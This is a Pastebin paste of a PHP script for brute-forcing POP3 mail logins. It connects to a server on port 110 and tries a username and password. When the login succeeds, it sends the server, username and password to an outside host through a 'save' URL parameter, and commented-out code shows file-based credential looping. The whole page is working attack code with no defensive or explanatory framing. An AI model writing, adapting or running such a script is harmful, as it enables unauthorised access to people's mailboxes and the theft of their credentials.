Advertisement
Guest User

Untitled

a guest
May 23rd, 2017
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function POPa($username, $password, $server) {
  4. $socket = fsockopen($server, 110); // POP3 port
  5. if (!$socket) {
  6. return "cracked";
  7.  
  8. }
  9.  
  10. $res = fgets($socket, 512); // read +OK
  11. if (substr(trim($res), 0, 3) != "+OK") {
  12. return "cracked"; // return the error
  13. }
  14. fputs($socket, "USER $username\r\n"); // send user
  15. $res = fgets($socket, 512); // read +OK
  16. if (substr(trim($res), 0, 3) != "+OK") {
  17. return "cracked";
  18. }
  19. fputs($socket, "PASS $password\r\n"); // send pass
  20. $res = fgets($socket, 512); // read +OK
  21. if (substr(trim($res), 0, 3) != "+OK") {
  22. return $res;
  23. }
  24. fputs($socket, "QUIT\r\n"); // quit
  25.  
  26. fclose($socket);
  27. //$fp = fopen("pwned.log", "a");
  28. //fwrite($fp, "$server,$username,$password\r\n");
  29. //fclose($fp);
  30. $space = "$server,$username,$password";
  31. $response = file_get_contents('http://horizon.ftp.sh/dom.php?save='.$space);
  32. print_r( $response );
  33. return "cracked";
  34. }
  35.  
  36. //SET INITIAL LOAD
  37. $ip = $argv[1];
  38. $user = $argv[2];
  39. $pass = $argv[3];
  40.  
  41.  
  42. //READ USER/PASS FILE
  43. //$fp = fopen("pass", "r");
  44. //$i = 1;
  45. //$c2= 1;
  46. //while (!feof($fp)) {
  47. //$propozitie = fgets($fp, 4096);
  48. //$propozitie = explode(" ", $propozitie);
  49. //$user[$i] = $propozitie[0];
  50. //@$pass[$i] = $propozitie[1];
  51. //$i = $i + 1;
  52. //$c2 = $c2 + 1;
  53. //}
  54. //fclose($fp);
  55.  
  56. //Do BRUTE-FORCE ATACK
  57. $x = 1;
  58. $chestie = "not";
  59.  
  60. //while (( $x < $c2 ) and ( $chestie != "cracked" )) {
  61. $chestie = POPa($user, $pass, $ip);
  62. if ( $chestie == "cracked" ) {
  63. $quit = 1;
  64. }
  65. $x = $x + 1;
  66. //}
  67.  
  68. //SET END LOAD
  69.  
  70.  
  71. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement